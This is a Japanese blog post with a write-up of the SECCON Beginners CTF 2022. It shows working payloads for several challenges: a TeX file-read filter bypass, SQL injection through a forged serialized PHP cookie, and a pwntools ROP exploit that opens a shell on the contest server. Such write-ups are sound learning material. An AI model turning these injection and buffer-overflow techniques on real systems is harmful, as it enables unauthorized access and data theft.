2022年6月5日日曜日

SECCON Beginners CTF 2022 WriteUp

ブログに書いておけば見返しやすいよねの気持ちで書いてます。あくまで1解答例でもっとエレガントな解き方はあると思います!!!!!

Web

textex

TeXをpdfにしてくれるWebアプリの問題。

verbatiminputを使って…/…/flagを読み込ませます。ファイル位置は同梱のソースで見つけました。

しかし、入力時にflagが""に置換されてしまうので、適当な関数を作って、TeXでの処理時にflagとなるようにしてあげました。

\documentclass{article}
\usepackage{verbatim}
\def \g{g}
\begin{document}

\verbatiminput{../../fla\g}

\end{document}

gallery

ファイルを拡張子毎に見れるWebアプリの問題。

URLパラメータで拡張子を指定できますが、ここに"lag"等入れるとflagのファイルが見えます。(flagや.だとサニタライズされます)

しかし、ファイルサイズが10240以上の場合、ファイルサイズ分の?が返ってきてしまうので、HTTPのRange Requestを使います。これを利用することで10240未満となって正常なものが取得でき、それを結合することでフラグを得られました。

curl -r 範囲指定(0-499)みたいな感じで行えます。ちなみにレスポンスコードは206です。

curl -r 0-10239 https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf >> flag.pdf
curl -r 10240-16085 https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf >> flag.pdf

serial

ユーザ登録してToDoを登録・完了させるといったWebアプリの問題。

最初はToDo登録あたりに脆弱性があるかと思いきやそんなことはありませんでした。"Beginners"?

同梱のソースを眺めると、丁寧にもfindUserByName()にインジェクションの可能性があると書いてありました。やさしい。

その関数を利用しているのはsignup.phpとuser.phpです。しかし、signup側ではUNION等の文字が入っていたら弾くため、フォームに入力だとうまくいかないことがわかり、user.phpの方からだとわかりました。

user.phpではlogin()に脆弱性のあるfindUserByName()が使われており、その動作は

Cookie(__CRED)をbase64でデコード→デシリアライズしてUserオブジェクトにする→そのオブジェクトのレコード探して取ってくる(findUserByName())→二つのpassword_hashを比較し、合っていたら新しいCookieに更新

と行われていました。そこで、

SELECT id, name, password_hash FROM users WHERE name = 'aaa' AND '1'='2' UNION SELECT 1234, body, 'a' FROM flags WHERE '1'='1' LIMIT 1;

のようなSQL文を組み立てるために、

O:4:"User":3:{s:2:"id";s:4:"1740";s:4:"name";s:67:"aaa' AND '1'='2' UNION SELECT 12, body, 'a' FROM flags WHERE '1'='1";s:13:"password_hash";s:1:"a";}

のようなものを__CREDに入れGET /を叩き、帰ってきた__CREDをデコードすることでフラグを得られました。

Pwn

 ROP問だけ解けました。CTF自体久しぶりで思い出しながらやりました。Heap問も解けるようになりたいね…

raindrop

ローカルのスタックが見れるプログラムの問題。

初見で「bofすればいいのは分かるけど、libc記載ないしdynamic linkで中にフラグ見る関数もねえじゃん!?"easy"????無理では~?」となりましたが、よくよくコードを読んだらhelp()でsystem関数を使っており、rdiに文字列を入れ、そのアドレスに行けばいいことがわかりました。

自分はbufの先頭の/bin/shを入れ、その後にpop rdi;ret;のアドレス、bufのアドレス、call systemのアドレスと組みました。bufのアドレスはsaved rbp - 0x20なので、一回目のprint_stack()で値を得て、計算し、payloadを組むみたいな手法でやりました。

from pwn import *
from time import sleep

rhp ={'host': "raindrop.quals.beginners.seccon.jp", 'port': "9001"}

def attack(conn):
    cmd = "/bin/sh"
    rop = 0x401453
    sys = 0x4011e5
    conn.recvuntil('000002 | ')

    rbp_addr = int(conn.recv(18).decode('utf-8'), 16)
    print(format(rbp_addr, '#016x'))

    buf_addr = rbp_addr - 0x20

    conn.recvuntil('Did you understand?')
    sleep(1)
    payload = cmd.encode('utf-8') + ((0x10 - len(cmd)) * b'\x00')
    payload += p64(rbp_addr)
    payload += p64(rop)
    payload += p64(buf_addr)
    payload += p64(sys)
    print(payload)
    print(format(len(payload), '#016x'))
    conn.send(payload)
    #conn.recvuntil('finish')
    #print(conn.recvline())

if __name__ == "__main__":
    conn = remote(rhp['host'], rhp['port'])
    attack(conn)
    conn.interactive()

困ったことはROPGadget見つけるのにちょっと手間取りました。前環境を破壊していたのでツールを入れてなかった…(時間がかかった理由1)

さらに、取り組みが夜からだったので、若干頭が回らない中解いていたので、buf_addrの計算ガバをして、一生悩んでました…()

snowdrop

raindropと同様な感じの問題。

違うのはsystem関数を使ったhelp()が消えたところで、bofの脆弱性は健在だったので、同じようなアプローチを取ればいいとわかりました。

その後、fileコマンドでstaticを確認し、ret2syscallゲーだと把握しました。

参考サイト(https://ctftime.org/writeup/26223)のアドレス、ROPGadgetをちょっと変えるだけでフラグが得られました。CTF定期的に解いて、似たような問題はスクリプトちょっと変えるだけで対応できるようになっておきたいね~の気持ちになりました。

あとがき

 

思っていたより高順位で、チームすごい!ってなりました。あと協力して1問解いたり、雑談しながら解けるのも楽しかったです。

あと問題についてですが、やってないのもありますが、easyでもPwn難しくなっていってるなと感じました。置いていかれないようにしたいものです…



0 件のコメント:

コメントを投稿